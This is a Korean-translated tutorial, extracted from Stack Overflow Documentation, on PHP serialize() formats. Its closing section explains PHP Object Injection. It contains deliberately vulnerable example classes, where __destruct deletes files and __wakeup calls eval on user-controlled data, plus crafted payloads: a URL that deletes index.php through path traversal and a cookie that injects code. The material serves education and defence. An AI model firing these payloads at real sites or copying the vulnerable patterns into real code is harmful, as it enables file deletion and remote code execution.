수색…


통사론

  • 문자열 serialize (혼합 $ 값)

매개 변수

매개 변수 세부
직렬화되는 값입니다. serialize ()리소스 유형을 제외한 모든 유형을 처리합니다. 자체에 대한 참조를 포함하는 배열을 직렬화 할 수도 있습니다. 직렬화하는 배열 / 객체 내부의 순환 참조도 저장됩니다. 다른 참조는 없어집니다. 객체를 직렬화 할 때 PHP는 직렬화 이전에 멤버 함수 __sleep () 을 호출하려고 시도합니다. 이것은 객체가 직렬화되기 전에 마지막 순간 정화 작업을 수행 할 수 있도록하기위한 것입니다. 마찬가지로 unserialize ()를 사용하여 객체를 복원하면 __wakeup () 멤버 함수가 호출됩니다. Object의 private 멤버는 멤버 이름 앞에 클래스 이름이 있습니다. 보호 된 회원은 회원 이름 앞에 '*'가 붙습니다. 이러한 prepended 값은 양쪽에 null 바이트를 갖습니다.

비고

직렬화는 다음 문자열 구조를 사용합니다.

[..] 는 자리 표시 자입니다.

유형 구조
s:[size of string]:[value]
정수 i:[value]
더블 d:[value]
부울 b:[value (true = 1 and false = 0)]
없는 N
목적 O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)}
정렬 a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)}

다른 유형의 직렬화

값의 저장 가능 표현을 생성합니다.

이것은 PHP의 값과 유형을 잃지 않고 저장하거나 전달할 때 유용합니다.

직렬화 된 문자열을 다시 PHP 값으로 만들려면 unserialize ()를 사용하십시오.

문자열 직렬화

$string = "Hello world";    
echo serialize($string);

// Output: 
// s:11:"Hello world";

이중 직렬화

$double = 1.5;    
echo serialize($double);

// Output: 
// d:1.5;

float 직렬화

플로트는 두 개로 직렬화됩니다.

정수의 직렬화

$integer = 65;    
echo serialize($integer);

// Output: 
// i:65;

boolean 직렬화

$boolean = true;    
echo serialize($boolean);

// Output: 
// b:1;

$boolean = false;    
echo serialize($boolean);

// Output: 
// b:0;

null를 직렬화한다

$null = null;    
echo serialize($null);

// Output: 
// N;

배열 직렬화

$array = array(
    25,
    'String',
    'Array'=> ['Multi Dimension','Array'],
    'boolean'=> true,
    'Object'=>$obj, // $obj from above Example
    null,
    3.445
); 


// This will throw Fatal Error
// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}

객체 직렬화

객체를 직렬화 할 수도 있습니다.

객체를 직렬화 할 때 PHP는 직렬화 이전에 멤버 함수 __sleep () 을 호출하려고 시도합니다. 이것은 객체가 직렬화되기 전에 마지막 순간 정화 작업을 수행 할 수 있도록하기위한 것입니다. 마찬가지로 unserialize ()를 사용하여 객체를 복원하면 __wakeup () 멤버 함수가 호출됩니다.

class abc {
    var $i = 1;
    function foo() {
        return 'hello world';
    }
}

$object = new abc(); 
echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;} 

클로저는 직렬화 할 수 없습니다.

$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

비 직렬화와 관련된 보안 문제

unserialize 함수를 사용하여 사용자 입력에서 데이터를 병합 해제하면 위험 할 수 있습니다.

php.net의 경고

경고 untrusted 사용자 입력을 unserialize ()에 전달하지 마십시오. 비 직렬화는 객체 인스턴스화 및 자동 로딩으로 인해 코드가로드되고 실행될 수 있으며 악의적 인 사용자가이를 악용 할 수 있습니다. 직렬화 된 데이터를 사용자에게 전달해야하는 경우 JSON (json_decode () 및 json_encode ()를 통해)과 같은 안전하고 표준적인 데이터 교환 형식을 사용하십시오.

가능한 공격

  • PHP 객체 삽입

PHP 객체 삽입

PHP Object Injection은 공격자가 상황에 따라 코드 삽입, SQL 삽입, 경로 통과 및 응용 프로그램 서비스 거부와 같은 다양한 종류의 악의적 인 공격을 수행 할 수있는 응용 프로그램 수준의 취약점입니다. 이 취약점은 unserialize () PHP 함수에 전달되기 전에 사용자가 입력 한 내용이 제대로 정리되지 않을 때 발생합니다. PHP는 객체 직렬화를 허용하기 때문에 공격자는 임시 직렬화 된 문자열을 취약한 unserialize () 호출에 전달할 수 있으므로 응용 프로그램 범위에 임의의 PHP 객체를 주입 할 수 있습니다.

PHP Object Injection 취약점을 성공적으로 악용하려면 두 가지 조건이 충족되어야합니다.

  • 응용 프로그램에는 악의적 인 공격을 수행하거나 "POP 체인"을 시작하는 데 사용할 수있는 PHP 마법 메서드 (예 : __wakeup 또는 __destruct )를 구현하는 클래스가 있어야합니다.
  • 공격 중에 사용 된 모든 클래스는 취약한 unserialize() 가 호출 될 때 선언되어야합니다. 그렇지 않으면 객체 자동로드가 해당 클래스에 대해 지원되어야합니다.

예 1 - 경로 순회 공격

아래 예제는 악용 가능한 __destruct 메소드가있는 PHP 클래스를 보여줍니다.

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

이 예에서 공격자는 Path Traversal 공격을 통해 임의의 파일을 삭제할 수 있습니다 (예 : 다음 URL 요청).

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

예 2 - 코드 삽입 공격

아래 예제는 악용 가능한 __wakeup 메소드가있는 PHP 클래스를 보여줍니다.

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

이 예에서 공격자는 다음과 같이 HTTP 요청을 전송하여 코드 삽입 공격을 수행 할 수 있습니다.

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

쿠키 매개 변수 "data"가 다음 스크립트에 의해 생성 된 위치 :

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));


Modified text is an extract of the original Stack Overflow Documentation
아래 라이선스 CC BY-SA 3.0
와 제휴하지 않음 Stack Overflow